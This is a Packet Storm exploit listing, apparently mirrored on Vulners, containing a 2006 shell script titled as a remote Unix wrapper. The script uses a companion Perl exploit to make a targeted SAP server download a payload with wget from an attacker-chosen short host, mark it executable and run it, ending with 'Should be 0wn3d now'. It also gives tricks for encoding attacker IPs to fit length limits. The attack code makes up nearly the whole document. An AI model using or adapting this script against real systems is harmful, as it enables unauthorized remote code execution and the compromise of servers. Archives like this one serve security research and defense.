Lucene search

K

r3mote_unix_wrapper.sh.txt

🗓️ 14 Nov 2006 00:00:00Reported by NicobType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

Script for downloading, chmod-ing, and executing a file on a remote Unix server

Show more

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`#!/bin/sh  
  
# Variables  
  
# Ultra short URL where is located our additional code  
# Max length : 8 chars   
SRC="zz.1.vg"  
  
# Filename of the downloaded file  
# Max length : 6 chars (because of "-O" in wget)  
FILE="./..."  
  
# Target SAP server IP  
# No restriction ;-)  
TARGET="192.168.201.11"  
  
# Set to /bin/echo to debug  
DEBUG=""  
  
###########################################################  
# Some $SRC tricks  
#  
# Max 8 characters can be used, so you can use with wget :  
#  
# - any IP in the range of 1.0.0.0-5.245.224.255  
# - "wget 99999999" (IP 5.245.224.255)  
# - any short hostname like 'zz.1.vg'  
# - "wget zz.1.vg"  
# - hex IP adress or int IP mixed with standard encoding  
# - wget 10.0x311 (10.0.3.17)  
# - wget 10.785 (10.0.3.17)  
###########################################################  
  
# Download, chmod and launch a script/binary of your choice  
  
# Typical command exectuted server-side :  
# wget zz.1.vg sapgw17 -Oabc GWHOST=cartman GWSERV=sapgw17 CONVID=-Oabc  
  
$DEBUG echo "Downloading with wget ..."  
$DEBUG ./r3mote_unix_UDPexec.pl wget $SRC -O$FILE $TARGET  
  
$DEBUG sleep 120   
  
$DEBUG echo "Chmod-ing the downloaded file ..."  
$DEBUG ./r3mote_unix_UDPexec.pl chmod 755 $FILE $TARGET  
  
$DEBUG sleep 2  
  
$DEBUG echo "Executing the file ..."  
$DEBUG ./r3mote_unix_UDPexec.pl $FILE xxx xxx $TARGET  
  
$DEBUG echo "Should be 0wn3d now ..."  
  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
14 Nov 2006 00:00Current
7.4High risk
Vulners AI Score7.4
22
.json
Report